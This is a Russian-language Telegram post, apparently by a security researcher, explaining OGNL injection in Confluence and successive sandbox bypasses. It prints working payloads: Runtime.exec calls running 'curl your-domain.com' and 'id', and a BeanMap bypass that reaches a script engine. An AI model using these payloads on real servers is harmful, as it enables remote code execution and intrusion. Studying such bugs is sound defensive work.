TGViewer
Monkey Hacker Monkey Hacker @monkey_hacker · 785 subscribers
Post #84 3.04K
OGNL and sandboxes

Существует такая вещь в Java, как Object Graph Notation Language (OGNL) еще один Expression language. Чаще всего данный фреймворк можно заметить в продуктах Apache и Attlasian

OGNL вызывает методы несколько иначе, чем Java, поскольку OGNL интерпретируется и должен выбрать нужный метод во время выполнения программы, не имея никакой дополнительной информации о типе, кроме собственно предоставленных аргументов. OGNL всегда выбирает наиболее специфичный метод, типы которого соответствуют заданным аргументам

Спустя время, выяснилось, что через OGNL можно также сделать Command Injection. Метод эксплуатации чем-то напоминает SSTI 😻

Разберу пару вулн в Confluence. Проблемы появлялись из-за isSafeExpression

При рендеринге странице, есть спрятанный параметр queryString 😑

Именно он дает нам возможность, поиграться с Java

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl your-domain.com\u0022)}%2b\u0027

Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень (не забудь энкодить)👍

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}

Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.

Самое банальное - это использовать Class, вместо class. Или использовать конкатенацию строк.

Дальше, один из экспертов решил пойти глубже и начал смотреть Abstract Syntax Tree (AST). Как оказалось, AST давал много векторов, для обхода ограничений

Самое вкусное было найдено в BeanMap, который позволял сделать, уже полноценный байпасс

(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))

Всем удачи 😇
  • 👍 7
  • 🔥 3
  • ❤ 1
More from @monkey_hacker
  1. Aug 28, 2024First hop, second hop Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем…
  2. Apr 10, 2024Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - по…
  3. Apr 10, 2024У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэто…
  4. Apr 8, 2024Kubectl apply Йо, сегодня я принес несколько ссылочек, где можно почитать про работу разли…
  5. Jan 16, 2024Oh yes, ping pong Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял…
  6. Dec 31, 2023Пора и мне сказать что-то ✨ В этом году я очень старался повысить свои навыки, а вы могли…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →